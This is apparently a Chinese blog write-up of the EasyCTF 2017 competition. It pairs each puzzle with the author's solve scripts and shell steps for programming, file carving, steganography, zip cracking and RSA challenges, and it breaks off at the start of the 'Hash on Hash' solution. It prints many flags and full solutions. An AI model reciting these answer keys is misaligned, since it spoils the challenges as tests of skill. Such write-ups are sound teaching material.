EasyCTF 2017 Write Up
版权声明:
本文为本人原创,任何个人或组织未征得本人同意不允许任何形式的演绎和转载,安全媒体可以尝试联系本人征得同意有偿转载,否则保留追究法律责任权利。
法律支撑:
个人博客:
0x00 Miscellaneous
IRC
problem
EasyCTF has an IRC channel! Check out #easyctf2017 on freenode to claim a free flag, and stick around to get on-the-fly updates during the competition.
solution
了解一波
IRC
,熟悉一下操作命令,找到Cannot join channel (+r) - you need to be identified with services 的
解决方法
,成功加入到#easyctf2017的频道。
A-maze-ing
problem
Solve a maze! 'j' is left, 'k' is down, 'l' is right, and 'i' is up. You input directions in a string. An example: "jkliilillikjk". Submit your input string as the flag. (Whoops! You don't have a maze, do you? Sucks to be you.
solution
easyctf{jjjjjjjjjjjjjjjjjjj}
easyctf{kkkkkkkkkkkkkkkkkkk}
参考: 一个迷宫从入口进去,沿着右手边的墙走,是否肯定能走到出口?
0x01 Programming
Hello, world!
problem
Use your favorite programming language to print Hello, world! to stdout! Use the programming interface to do this!
Programming Judge codes:
AC: accepted WA: WRONG ANSWER (you're bad) TLE: time limit exceeded (make your code faster) RTE: runtime error JE: judge error (contact an admin if you encounter this) CE: compilation error
solution
print('Hello, world!')
Things Add Up
problem
For this problem you will utilise the programming interface, which you can access via the navigation bar at the top of your screen.
The input for your program will be given via STDIN - that's cin, input(), and http:// System.in for cxx, Python, and Java respectively. Output goes to STDOUT - cout, print, and System.out. Your program will be run on several sets of input, and if your output matches ours for each testcase, this problem will be marked solved.
We'll start with a simple challenge. Each testcase has two lines of input. The first will contain an integer N. The second will contain a sequence of integers a_1, a_2, ..., a_N. You are to output the sum of that sequence - that is, a_1 + a_2 + ... + a_n. Good luck!
Input Constraints
0 < N < 100 -1000 < a_i < 1000
Sample Input
5 2 4 7 3 1
Sample Output
17
solution
n = input()
s = raw_input().split()
r = 0
for x in xrange(n):
r += int(s[x])
print(r)
Fizz Buzz 1
problem
Write a program that takes an integer n as input.
Output the numbers 1 through n, in increasing order, one per line.
However, replace any line that is a multiple of 3 with Fizz and any that are a multiple of 5 with Buzz. Any line that is a multiple of 3 and 5 should be written as FizzBuzz.
The input will be the number of lines to write, n, followed by a linebreak.
Sample input:
17
Sample output:
1 FizzBuzz
solution
n = input()
for x in xrange(1, n + 1):
if x % 3 == 0:
if x % 5 == 0:
print('FizzBuzz')
else:
print('Fizz')
elif x % 5 == 0:
print('Buzz')
else:
print(x)
Library
problem
Your librarian has a 2-row bookshelf that can contain N books in each row. She wants to know the number of ways that she can fill the bookshelf with red-colored books and blue-colored books such that no 2 red-colored books are adjacent to each other (horizontally or vertically).
Input: the integer, N (1<=N<=2^1024)
Output: the number of ways you can place red-colored books and blue-colored books onto a N-column bookshelf. Since this number might be really big, output it mod 10^9+7.
Example: Input: 2
Your valid bookshelf layouts are:
BB
Therefore, Output: 7
solution
画图或编程找出规律公式,然后就是数学推导,最后编程计算:
import numpy as np
n = input()
temp = np.array([[0, 1], [1, 2]])
matrix = np.array([[0, 1], [1, 2]])
init = np.array([[3], [7]])
for x in xrange(n - 2):
temp = np.dot(temp, matrix)
result = np.dot(temp, init)
print(result[0][0] % (10 ** 9 + 7))
来自VictorZC表哥的矩阵快速幂解法:
n = input()
p = n-2
a0=0
a1=1
a2=1
a3=2
r0=1
r1=0
r2=0
r3=1
mod=10**9+7
while p>0:
if p%2==1:
c0=a0*r0+a1*r2
c1=a0*r1+a1*r3
c2=a2*r0+a3*r2
c3=a2*r1+a3*r3
r0=c0%mod
r1=c1%mod
r2=c2%mod
r3=c3%mod
c0=a0*a0+a1*a2
c1=a0*a1+a1*a3
c2=a2*a0+a3*a2
c3=a2*a1+a3*a3
a0=c0%mod
a1=c1%mod
a2=c2%mod
a3=c3%mod
p=p//2
if n==1:
print 3
else:
print (r2*3+r3*7)%mod
Fzz Buzz 2
problem
Oh no! Two of my keys are broken! Please help me make the same Fzz Buzz program, sans that one letter and queston marks. As a side note, use of eval() and exec() is also frowned upon and will be marked invalid.
solution
# Create aliases
f = getattr(globals()['__bu\x69lt\x69ns__'],'\x69nput')
p = getattr(globals()['__bu\x69lt\x69ns__'],'pr\x69nt')
# Get user input
n = f()
# Prints text for line k and calls itself with the next line
def go(k):
a = ((k % 15 == 0) and p('F\x69zzBuzz'))
a = ((k % 3 != 0 and k % 5 == 0) and p('Buzz'))
a = ((k % 3 == 0 and k % 5 != 0) and p('F\x69zz'))
a = ((k % 3 != 0 and k % 5 != 0) and p(k))
a = ((k < n) and go(k + 1))
go(1)
Down a Notch
problem
I've spent too long in the high level, let's take the level down a notch . Help me find the correct input to this function! Your answer should be in the format a:b where a and b are integers. Do not wrap it with easyctf{}. Hint: Compiled with x86-64 gcc 4.9.4
check(int, int): pushq %rbp movq %rsp, %rbp movl %edi, -36(%rbp) movl %esi, -40(%rbp) movl -36(%rbp), %eax xorl -40(%rbp), %eax movl %eax, -4(%rbp) movl -4(%rbp), %eax addl $98, %eax movl %eax, -8(%rbp) movl -8(%rbp), %eax notl %eax movl %eax, %edx movl -40(%rbp), %eax addl %edx, %eax movl %eax, -12(%rbp) movl -12(%rbp), %eax xorl -36(%rbp), %eax movl %eax, -16(%rbp) movl -40(%rbp), %eax imull -4(%rbp), %eax idivl -8(%rbp) movl %eax, %edx movl -36(%rbp), %eax leal (%rdx,%rax), %ecx movl -12(%rbp), %edx movl -16(%rbp), %eax addl %edx, %eax xorl %ecx, %eax movl %eax, -20(%rbp) cmpl $-814, -20(%rbp) sete %al popq %rbp
solution
推荐文章: 从汇编角度浅析C程序
简单的汇编代码理解:
push rbp
mov rbp, rsp
mov [rbp-36], edi
mov [rbp-40], esi
mov eax,[rbp-36] ;eax = r36
xor [rbp-40], eax ;r40 = r40 ^ eax
mov [rbp-4], eax ;r4 = eax
mov eax, [rbp-4] ;eax = r4
add eax, 98 ;eax = eax + 98
mov [rbp-8], eax ;r8 = eax
mov eax, [rbp-8] ;eax = r8
not eax ;eax = ~ eax
mov edx, eax ;edx = eax
mov eax,[rbp-40] ;eax = r40
add eax, edx ;eax = eax + edx
mov [rbp-12], eax ;r12 = eax
mov eax, [rbp-12] ;eax = r12
mov eax, [rbp-36] ;eax = r36
mov [rbp-16], eax ;r16 = eax
mov eax, [rbp-40] ;eax = r40
imul eax, [rbp-4] ;eax = eax * r4
idiv [rbp-8] ;eax = eax / r8 edx = eax % r8
mov edx, eax ;edx = eax
mov eax, [rbp-36] ;eax = r36
lea ecx, [rdx+rax]
mov edx, [rbp-12] ;edx =r12
mov eax, [rbp-16] ;eax = r16
add eax, edx ;eax = eax + edx
xorl ecx, eax ;ecx = ecx ^ edx
movl eax, [rbp-20] ;eax = r20
cmpl -814, [rbp-20];r20 ?= -814
sete al
popq [rbp]
a = input()
b = input()
c = a ^ b
d = 98 + c
e = ~d + b
f = e ^ a
g = a + b * c / d ^ e + f
g ?= -814
整理一下:
g = a + b * (a ^ b) / (98 + (a ^ b)) ^ (~(98 + a ^ b) + b) + (~(98 + a ^ b) + b) ^ a
二元一次方程求解,暴力跑一下:
def check(a, b):
c = a ^ b
d = 98 + c
e = ~d + b
f = e ^ a
res = a + b * c / d ^ e + f
if res == -814:
return True
else:
return False
for a in range(1000):
for b in range(1000):
find = False
if check(a, b):
find = True
print "%d:%d" % (a, b) # 14:975
break
if find:
break
MWayward Space Junk
problem
I'm trying to destroy some space junk, but it won't stop moving!
nc wayward.tcp.easyctf.com 8580
Pilot Key: 7554eb73dc155375b47b4a655a27332b
hint: Try figuring out the trajectory of the junk.
solution
Match Me
problem
When making pairings between two sets of objects based on their preferences (in this case people), there can be multiple stable solutions, stable meaning that no two elements would prefer to be matched with each other over their current matching. A side-effect of having multiple solutions is that there are solutions favor one group over the other.
We received two files, one listing men and the other women. Each line contains a name, followed by a series of numbers. Each number N corresponds to their preference to be matched with the Nth member of the opposite list, with 1 being the highest.
For example, the entry "Joe 4, 5, 3, 1, 2" means that Joe would most prefer the 4th entry on the opposite list, and least prefer the 2nd.
We have heard that there are some pairings that will be together in all possible stable matchings, please find them. However, because there are quite a bit of them, please submit your solution as the following:
MD5 hash of (male_1,female_1)(male_2,female_2)...(male_n,female_n), where the pairings are sorted alphabetically by male names. For example, (Bob,Susie)(Jim,Carol)(Tom,Emma) would be submitted as b0d75104ce4b3a7d892f745fd515fea4.
Here are the lists of preferences: male preferences , female preferences .
Hint: This is a fairly well-known graph problem. I would guess there is some sort of internet source on it.
solution
#https://www.youtube.com/watch?v=Qcv1IqHWAzg
import hashlib
def main(maleFile,femaleFile,reverse):
#These -10000's and such are to pad the array,
#so nth id represents nth index
males = [[-10000]]
maleIDNameMap = {}
females = [[-10000]]
femaleIDNameMap = {}
loadData(males,maleIDNameMap,maleFile)
loadData(females,femaleIDNameMap,femaleFile)
#Format is that the man's index is there id, and inside is [x,y] where y is id of person they're paired with,
# and x is his rank for that person, rank being 0-based
manCurrentAssignments = [[1000000,-1000]]*len(males)
unassignedWomenIDs = list(range(1,len(females)))
while(len(unassignedWomenIDs) != 0):
#use i, so I don't ahve to worry about modifying list while looping through it.
i = len(unassignedWomenIDs) - 1
while(i >= 0):
womanID = unassignedWomenIDs[i]
i-=1
#pop so that I don't check same combo again later.
nextPrefferedManID = females[womanID].pop(0)
thisWomanPrefferenceRank = males[nextPrefferedManID].index(womanID)
if(manCurrentAssignments[nextPrefferedManID][0] > thisWomanPrefferenceRank):
# assign this woman to this man
del unassignedWomenIDs[i+1]
oldAssigneeID = manCurrentAssignments[nextPrefferedManID][1]
if(oldAssigneeID==-1000):
#ezpz
manCurrentAssignments[nextPrefferedManID] = [thisWomanPrefferenceRank,womanID]
else:
#gotta kick off old woman, and try everything in range 1... cur
#except I'm doing something clever and only keeping men she hasn't tried on listRef
#so program may just iterate a few more times. No recursive dealing with kicking off more
#and more women.
unassignedWomenIDs.append(oldAssigneeID)
manCurrentAssignments[nextPrefferedManID] = [thisWomanPrefferenceRank,womanID]
output = []
if(reverse):
for i in range(1,len(males)):
output.append([femaleIDNameMap[manCurrentAssignments[i][1]],maleIDNameMap[i]])
else:
for i in range(1,len(males)):
output.append([maleIDNameMap[i],femaleIDNameMap[manCurrentAssignments[i][1]]])
return output
def loadData(listRef,idRef,fname):
lines = []
with open(fname) as f:
lines = f.readlines()
i = 1
for line in lines:
elements = line.split(' ')
idRef[i] = elements[0]
tmp = []
for k in range(1,len(elements)):
tmp.append(int(elements[k][:-1]))
listRef.append(tmp)
i += 1
maleFirst = main('male','female',False)
femaleFirst = main('female','male',True )
toMD5 = []
for i in maleFirst:
for j in femaleFirst:
if(i[0] == j[0]):
if(i[1]==j[1]):
toMD5.append(i)
# For MD5
md5String = ""
for i in toMD5:
md5String += "(%s,%s)" %(i[0], i[1])
print(md5String)
md5 = hashlib.md5(md5String.encode()).hexdigest()
print(md5)
0x02 Forensics
Mane Event
problem
My friend just got back from the plains and he took this picture with his new camera. He also told me there's a flag hidden in it - can you check it out for me?
solution
20xx
problem
My friend sent me this file and told me to git gud.
solution
scisnerof
problem
I found weird file! elif
solution
png文件内容被倒序处理了,写一个脚本恢复:
with open("elif", "rb") as file:
with open("new.png", "wb") as png:
data = []
byte = file.read(1)
while byte != "":
data.append(byte)
byte = file.read(1)
for i in reversed(data):
png.write(i)
easyctf{r3v3r5ed_4ensics}
Petty Difference
problem
I found two files in a secret room. They look like jumbled letters with no patterns. I mean look at it! file1 is identical to file2 , right?
solution
with open("file1.txt") as file1:
str1 = file1.read()
with open("file2.txt") as file2:
str2 = file2.read()
str1_diff = ''
str2_diff = ''
for x in range(len(str1)):
if str1[x] != str2[x]:
str1_diff = str1_diff + str1[x]
str2_diff = str2_diff + str2[x]
print(str1_diff)
print(str2_diff)
print("flag:%s" %str1_diff[::-1])
Flag Collection
problem
Here's a collection of flags ! I think you're looking for a specific one, though...
solution
easyctf{thumbs.db_c4n_b3_useful}
Zooooooom
problem
Hekkerman is looking awfully spooky. That hekker glare could pierce a firewall. What can he see that you can't?
solution
图片由三张图片合并拼接而成,分别分离出得到flag:
Gibberish
problem
I have no idea what this image is, but my sources tell me that it contains something useful, a flag perhaps? Can you help me find it? There are 3 parts to the flag. There are 3 colors of the rainbow. My flag will never expire. Hint:Presence is more important than intensity. Everything is simply boolean. One of the parts requires a scanner.
solution
这题要仔细审题,给了很多信息,提示flag由三部分组成,又说了三种颜色,只给了一张24位的图片:
很容易联想到图像的R,G,B分离处理,打开PS把图像的R,G,B通道分离得到:
R通道:
G通道:
B通道:
题目又提示其中一张需要扫描器,综合来看3张图片有张可能是条形码,于是PS中反相,不断锐化,然后将线条填充完整,类似这样:
不过这样太麻烦,于是写个脚本自动处理图像:
from PIL import Image
from PIL import ImageEnhance
def invert(im):
im = im.convert("L")
pixel = im.load()
width = im.size[0]
height = im.size[1]
for x in range(width):
for y in range(height):
pixel[x, y] = 255 - pixel[x, y]
return im
def enhance(im):
im = ImageEnhance.Contrast(im).enhance(10.0)
return im
def fill(im):
im = im.convert("L")
pixel = im.load()
width = im.size[0]
height = im.size[1]
for x in range(width):
if((pixel[x, 0] != 255) or (pixel[x, 21] != 255) or (pixel[x, 43] != 255)):
for y in range(height):
pixel[x, y] = 0
return im
def main():
im = Image.open('cea3386a382bfad628a3c5edf8d61a9285ab0290_gibberish.png')
pixel = im.load()
channels = ['r', 'g', 'b']
i = 0
for im_channel in im.split():
im_invert = invert(im_channel)
im_enhance = enhance(im_invert)
im_fill = fill(im_enhance)
im_fill.save('im_' + channels[i] +'.png')
i += 1
if __name__ == '__main__':
main()
处理后分别得到R,G,B通道的图像:
处理后G通道最有可能是条形码,多次扫描终于( 条码扫描器Barcode Scanner ):
得到8个字符:LH5i6uQz
那其他两张图像怎么处理呢,提示说任何事物都是简单的二进制,开脑洞想到可能是黑白颜色代表二进制的1,0,于是提取图像的首行像素转换二进制串再转换为字符串:
from PIL import Image
import libnum
im_b = Image.open('im_b.png')
im_r = Image.open('im_r.png')
def image2ascii(im):
im = im.convert("L")
pixel = im.load()
width = im.size[0]
bits = ""
for x in range(width):
if(pixel[x, 0] == 255):
bits += "0"
else:
bits += "1"
print(libnum.b2s(bits))
def main():
image2ascii(im_r)
image2ascii(im_b)
if __name__ == '__main__':
main()
也是得到了两组8个字符:
aPgMasSt
5U5EYz2b
一开始以为三个部分组合可能是base64,但是怎么组合都不对,陷入江局,又看了N遍题目,说我的flag永远不会过期,GG搜索N久才发现说的是 pastebin 。程序员的世界你不懂,他们已经占领了 github,但我们还有 PasteBin。
而你分享的内容会自动生成一个8字符的链接,这脑洞也是服,最后得到网址:
组合得到:easyctf{col0rs_b4rcod3s_and_b1nary_f?n} 激动地一提交,结果不对,仔细又开打链接检查,才发现flag里有个问号,可能是让猜测,填个u试试(fun),终于get Orz。
QR1
problem
I just saw this QR code the other day, but couldn't tell what data it has. Can you help? Here it is.
Hint:Is the image only black and white?
solution
首先看到二维码的定位标识被反相处理了,题目还提示了说图像只有黑色和白色吗,于是推测图像可能不止黑白两种颜色,于是打开PS不断锐化原图像果然发现一些接近黑色的颜色被暴露:
需要把接近黑色的颜色画成黑色,手动画图挺麻烦还是上脚本:
from PIL import Image
def process(image):
pixels = image.load()
width = image.size[0]
height = image.size[1]
for x in range(width):
for y in range(height):
if (pixels[x, y] != 255):
if pixels[x, y] < 125:
pixels[x, y] = 0
else:
pixels[x, y] = 255
return image
def main():
image = Image.open('qr1.bmp')
image = image.convert('L')
processed_image = process(image)
processed_image.save('solved.bmp')
if __name__ == '__main__':
main()
得到处理后的图像:
接下来对定位标识进行反相处理:
ZWFzeWN0ZntuMHdfd2hvLXcwdTFkX2RvX3RoQVRfdG9fVGgzaXJfUVI/fQ== (二维码自动识别)
easyctf{n0w_who-w0u1d_do_thAT_to_Th3ir_QR?}
Ogrewatch
problem
My friend was out watching ogres when he heard a strange sound. Could you figure out what it means? ogreman Hint:If you're having trouble with the file format, Gary Kessler might help.
solution
root@kali:~/Desktop# file ogreman
ogreman: Matroska data
在了解一波 MATROSKA 文件格式 给文件加上.mka后缀后使用Pot Player播放时有字幕一闪而过:
于是使用MATROSKA文件处理工具 MKVToolNix 中的mkvextract将字幕导出:
λ mkvextract.exe tracks 132ea90b28084ca59d251988faeecf40e4879b98_ogreman 2:zimu
将有flag的部分提取出来单独处理:
with open('flag.txt') as file:
lines_list = file.readlines()
flag = ""
for line in lines_list:
flag = flag + line[50]
print(flag) # easyctf{subs_r_b3tt3r_th@n_dub5}
Flag PEG
problem
We found a flag but it didn't do anything. Maybe you can find a better flag ? You're not looking deep enough.
solution
sunnyelf@ubuntu:~/Desktop$ binwalk -v heresaflag
Scan Time: 2017-03-26 09:29:30
Target File: /home/sunnyelf/Desktop/heresaflag
MD5 Checksum: 890fad720c23e53f4698ac04bc5f9a23
Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, big-endian, offset of first image directory: 8
18357 0x47B5 Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt=
341939 0x537B3 7-zip archive data, version 0.3
sunnyelf@ubuntu:~/Desktop$ dd if=heresaflag of=1.7z skip=341939 bs=1
记录了156772+0 的读入
记录了156772+0 的写出
156772 bytes (157 kB, 153 KiB) copied, 0.211627 s, 741 kB/s
sunnyelf@ubuntu:~/Desktop$ 7z e 1.7z
p7zip Version 9.20 (locale=zh_CN.UTF-8,Utf16=on,HugeFiles=on,1 CPU)
Processing archive: 1.7z
Extracting KHgrbikqKC0xKV5u
Everything is Ok
Size: 155553
Compressed: 156772
sunnyelf@ubuntu:~/Desktop$ python -c "import base64;print base64.b64decode('KHgrbikqKC0xKV5u')"
(x+n)*(-1)^n
看到(x+n)*(-1)^n可能是加密算法,而KHgrbikqKC0xKV5u文件可能就是已加密的文件,先拖进Hex Editor Neo看看:
看到第一个字节是0x89第一反应可能png的头,推测该加密的文件原文件是png文件,如果x表示字节内容,n表示顺序的话简单地来验证一下(0x89 = 137):(137+0)*(-1)^0=137,果然计算结果相同,那么把png文件头都使用(x+n)*(-1)^n加密再和已加密的文件对比一下呢:
结果发现规律,png文件头上的偶数位字节数值(从0开始数起)加密计算后总是与给的文件偶数位上字节数值相等,png文件头上的奇数位字节数值加密后与给的文件奇数位上的字节数值满足一种关系:给的文件奇数位上的字节数值减去经过加密的数值恒等于256,比如175-(-81)=256 182-(-74)=256,如果y=(x+n)*(-1)^n,那么x=y/(-1)^n-n ,注意计算结果可能为负值,所以要模256,所以接下来就交给脚本:
decrypt_data = ''
with open('KHgrbikqKC0xKV5u', 'rb') as encrypted_file:
n = 0
while 1:
byte = encrypted_file.read(1)
if not byte:
break
d = ord(byte)
if n % 2 == 0:
y = d
x = (y / ((-1) ** n) - n) % 256
decrypt_data += chr(x)
else:
y = (d - 256)
x = (y / ((-1) ** n) - n) % 256
decrypt_data += chr(x)
n += 1
with open('decrypt_file.png', 'wb') as decrypt_file:
decrypt_file.write(decrypt_data)
My USB
problem
I found my usb from a long time ago. I know there's a flag on there somewhere; can you help me find it?
solution
root@kali:~/Desktop# mv 2c370b79d147127064f019dcb05bba1aa917c552_usb.img usb.img
root@kali:~/Desktop# binwalk -v usb.img
root@kali:~/Desktop# foremost usb.img
Finn
problem
The Resistance intercepted this suspicious picture of Finn's old stormtrooper helmet, sent by General Hux to Kylo Ren. Hux isn't exactly Finn's biggest fan. What could he be hiding? Good luck!
If you get stuck, We also have this blob of sarcasm, which may or may not be useful in your quest. Worth a shot right?
Hint:In hindsight, numerical pins make really bad passwords . . . especially if they are pop culture references, also some pixels differ by more than one
Everyone complains that my problems are too random. Fine. Here is EXACTLY how to solve this problem. 1. Wow I have an image. I wonder why it’s so big (read: grandma, what large eyes you have) 2. So I figured that part out. Great, there’s a password. I wonder what that has to do with this image. Or wait, I could just brute force it, right? Either way works. It’s called reading the problem description. Or even the title. Titles do matter. 3. Yay, 2 images. What’s the difference? Hmmmm, I wonder what would happen if I ressed that difference pictorially. 4. Well I got some stuff, but it makes no sense. Oh wait, maybe I need a key! Let’s go back to that thing we extracted earlier, shall we? Maybe those discrepancies are ACTUALLY USEFUL. Nothing is an accident, not even random out of place pixels. Check them. Carefully. 5. What do I do with this message and key? How about, the most obvious thing in every CTF ever. Seriously. So you got the flag. Congrats! See, it wasn’t that bad.
solution
root@kali:~/Desktop# file finn.jpg
finn.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 118x118, segment length 16, baseline, precision 8, 630x630, frames 3
root@kali:~/Desktop# binwalk -v finn.jpg
Scan Time: 2017-03-27 03:53:23
Target File: /root/Desktop/finn.jpg
MD5 Checksum: e09ee29407ca1b68db84dae5be8a52d4
Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
44350 0xAD3E Zip archive data, at least v1.0 to extract, name: kylo/
44413 0xAD7D Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489072, uncompressed size: 3488525, name: kylo/kylo1.png
3533573 0x35EB05 Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489495, uncompressed size: 3488948, name: kylo/kylo2.png
7023399 0x6B2B27 End of Zip archive
root@kali:~/Desktop# foremost finn.jpg
Processing: finn.jpg
|foundat=kylo/UT
foundat=kylo/kylo1.pngUT*|
得到一个加密的zip,尝试暴力破解:
解压得到两种表面上相似的png图片,使用Stegsolve对比检测,当浏览到sub模式时:
XHg2M1x4NjhceDY2XHg2M1x4N2VceDcxXHg3M1x4MzRceDc2XHg1N1x4NzJceDNjXHg3NFx4NzNceDVjXHgzMVx4NzVceDVkXHg2Ylx4MzJceDM0XHg3N1x4NTlceDM4XHg0Y1x4N2Y= (二维码自动识别)
扫码得到26个hex值:
\x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72 \x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f
,尝试解码得到
chfc~qs4vWr<ts\1u]k24wY8L
,结果不是flag,根据提示又看比较出来的二维码左下角貌似多了一些像素,于是在PS中对比才发现还有一些像素stegsolve没有提取出来:
刚好26个像素,将它们的灰度值提取出来:5,4,7,4,5,2,7,0,4,8,5,8,6,0,3,0,6,2,9,1,1,3,6,2,8,2,写个脚本异或看看:
a = [0x63,0x68,0x66,0x63,0x7e,0x71,0x73,0x34,0x76,0x57,0x72,0x3c,0x74,0x73,0x5c,0x31,0x75,0x5d,0x6b,0x32,0x34,0x77,0x59,0x38,0x4c,0x7f]
b = [5,4,7,4,5,2,7,0,4,8,5,8,6,0,3,0,6,2,9,1,1,3,6,2,8,2]
c = []
d = ''
for x in xrange(len(a)):
c.append(a[x] ^ b[x])
for y in xrange(len(c)):
d += chr(c[y])
print(d) # flag{st4r_w4rs_1s_b35t_:D}
Serial
problem
I was listening to this haystack, but I didn't notice anything. What did I miss?
hint: 010100110110010101110010011010010110000101101100001011100010111000101110
solution
Decomphose
problem
Image arithmetic is super neat until there's more than two images involved.
solution
给了4个压缩包,分别解压一共得到48张类似这样的图片:
放大可以看到一些像素被周围黑色像素包围,其他的图片打开放大看也是这种情况,所以尝试把所有图片中被黑色像素包围的像素提取到一张图片上看看:
import os
from PIL import Image
flag = Image.new("RGB", (1280, 720))
path = "E:\sunnyelf\Desktop\easyctf 2017\Forensics\Decomphose\decomp"
for file_name in os.listdir(path):
f = Image.open(path + "\\" + file_name)
width, height = f.size
for i in xrange(width):
for j in xrange(height):
add = True
if (i > 0 and f.getpixel((i - 1, j)) != (0, 0, 0)):
add = False
if (i < width - 1 and f.getpixel((i + 1, j)) != (0, 0, 0)):
add = False
if (j > 0 and f.getpixel((i, j - 1)) != (0, 0, 0)):
add = False
if (j < height - 1 and f.getpixel((i, j + 1)) != (0, 0, 0)):
add = False
if (add):
flag.putpixel((i, j), f.getpixel((i, j)))
flag.save("flag.png")
跑了3分钟左右,看看结果:
QR2
problem
When I am not practicing my Oboe for band, I have been working on a QR code generator. For some reason, some of the images are not scannable. Here is one, can you tell me what it says?
NOTE: Due to a flag leak, this is a re-release of the problem with a new flag.
hint: Is there another kind of Oboe?
solution
0x03 Steganography
Kittycat
problem
My cats are cuter than yours :) hint: I used to have one cat, but now I have two.
solution
Install OpenCV-Python in Windows
ffmpeg -i kittycat.avi kittycat%01d.png
把视频每帧分离后得到606张png图片,每两张表面看上去相似,先尝试每两张异或提取出不同的地方:
import cv2
i = 1
for x in xrange(1, 607, 2):
img1 = cv2.imread('kittycat' + str(x) +'.png')
img2 = cv2.imread('kittycat' + str(x + 1) +'.png')
xor_img = cv2.bitwise_xor(img1, img2)
cv2.imwrite('xor/xor_img' + str(i) + '.png', xor_img)
i += 1
得到303张异或后的图片,尝试将它们全部相加:
import cv2
add_img = cv2.imread('xor_img1.png')
for x in xrange(2, 304):
img = cv2.imread('xor_img'+ str(x) +'.png')
add_img = cv2.add(add_img, img)
cv2.imwrite('add_img.png', add_img)
PS处理一下:
Bizarro
problem
Something seems very strange about this strange looking image. Check it out?
hint: Red herrings are always a touchy subject. Combine this hint with intel you find in the problem, throw in a blind guess, and perhaps you'll stumble into the answer.
solution
Q0kgWENWSUkgQ1hWIENYWEkgWENJWCBDWFZJIENJSSBDWFhJSUkgQ1hWSSBDSVYgQ1YgQ1hWIFhDViBDViBDWFYgWENWIENYIENYSSBDWFZJIFhDViBDWFZJIENJViBDSSBYQ1YgQ0lJIENWSUlJIFhDVklJIENJSUkgQ1hYViBYWFhJSSBDViBYWFhJSSBDVklJIENYIENYSSBDWElYIFhYWElJIENYVkkgQ0lWIENWIENYViBYWFhJSSBDSUkgQ1ZJSUkgWENWSUkgQ0lJSSBYWFhJSSBDViBDWFYgWFhYSUkgQ1hJWCBDSSBDViBDWElWIEMgWFhYSUkgQ1YgWFhYSUkgQ1ZJIENYVklJIENYViBDWFZJIFhYWElJIFhDSVggWENWSUkgQ1ggWFhYSVggQ1hWSSBYWFhJSSBDWElJIENYVklJIENYVkkgWFhYSUkgQ0lYIENYWEkgWFhYSUkgQ0lJIENWIENYIENJSUkgQ0kgQ1hJViBYWFhJSSBDWEkgQ1ggWFhYSUkgQ1hJWCBDSVYgQ1hYSQ== (二维码自动识别)
CI XCVII CXV CXXI XCIX CXVI CII CXXIII CXVI CIV CV CXV XCV CV CXV XCV CX CXI CXVI XCV CXVI CIV CI XCV CII CVIII XCVII CIII CXXV XXXII CV XXXII CVII CX CXI CXIX XXXII CXVI CIV CV CXV XXXII CII CVIII XCVII CIII XXXII CV CXV XXXII CXIX CI CV CXIV C XXXII CV XXXII CVI CXVII CXV CXVI XXXII XCIX XCVII CX XXXIX CXVI XXXII CXII CXVII CXVI XXXII CIX CXXI XXXII CII CV CX CIII CI CXIV XXXII CXI CX XXXII CXIX CIV CXXI
罗马数字 Roman numerals
在线转换 一下,得到一些数字,数字大小都不超过255,有可能是ASCII值:
nums = [101,97,115,121,99,116,102,123,116,104,105,115,95,105,115,95,110,111,116,95,116,104,101,95,102,108,97,103,125,32,105,32,107,110,111,119,32,116,104,105,115,32,102,108,97,103,32,105,115,32,119,101,105,114,100,32,105,32,106,117,115,116,32,99,97,110,39,116,32,112,117,116,32,109,121,32,102,105,110,103,101,114,32,111,110,32,119,104,121]
txt = ''
for n in nums:
txt += chr(n)
print(txt)
easyctf{this_is_not_the_flag} i know this flag is weird i just can't put my finger on why
额,好吧,后来看了大神的 writeup 跪了。
0x04 Cryptography
Flip My Letters
problem
I dropped my alphabet on its head, can you help me reassemble it? easyctf{r_wlmg_vevm_mvvw_zm_zhxrr_gzyov}
solution
使用了简单的替换的加密方法,每个字母被对应另一个字母替换,使用基于字典的词频分析在线网站 quipqiup 解出flag。
Clear and Concise Commentary on Caesar Cipher
problem
The flag is in Commentary.pdf . Use lowercase.
solution
凯撒密码,给出的文档值得一看,找到文档中RNFLPGS{LBHTBGVG},凯撒密码 在线解密
最终flag为easyctf{yougotit}
RSA1
problem
I found somebody's notes on their private RSA! Help me crack this .
solution
import libnum
p = 33499881069427614105926941260008415630190853527846401734073924527104092366847259
q = 34311544767652906613104559081988349779622789386528780506962212898921316785995851
e = 65537
c = 43465248299278658712013216049003172427898782261990372316282214376041873514481386908793943532363461126240609464283533882761307749486816342864113338277082746552
n = p * q
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
print libnum.n2s(pow(c, d, n)) #easyctf{wh3n_y0u_h4ve_p&q_RSA_iz_ez_7829d89f}
Let Me Be Frank
problem
I was talking to one of my friends but I couldn't quite understand what he was saying. I think it might be important so here it is: Nwh whdjwh qm uepen, T tjb fsmt tixgi jsrsh sigm gs mpzp xwqf iahxpv iw fslkt. pehgpxf{qtextz_glacz_elt_neinrw_qsg_bums_dcp}
solution
维吉尼亚密码 解密
RSA2
problem
Some more RSA! This time, there's no P and Q... this .
solution
yafu - Automated integer factorization
yafu-x64.exe factor(266965481915457805187702917726550329693157)
...snip...
***factors found***
P21 = 458070420083487550883
P21 = 582804455845022449879
import libnum
n = 266965481915457805187702917726550329693157
p = 458070420083487550883
q = 582804455845022449879
e = 65537
c = 78670065603555615007383828728708393504251
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
print libnum.n2s(pow(c, d, n)) #flag{l0w_n_0eb6}
Decode Me
problem
Someone I met today told me that they had a perfect encryption method. To prove that there is no such thing, I want you to decrypt this encrypted flag he gave me.
solution
import base64
with open('encrypted_flag.txt') as file:
data = file.read()
while True:
if 'easyctf' not in data:
data = base64.b64decode(data)
else:
break
print(data) # easyctf{what_1s_l0v3_bby_don7_hurt_m3}
Hash on Hash
problem
There's a lot of hex strings here. Maybe they're hiding a message? hexstrings
solution
import hashlib
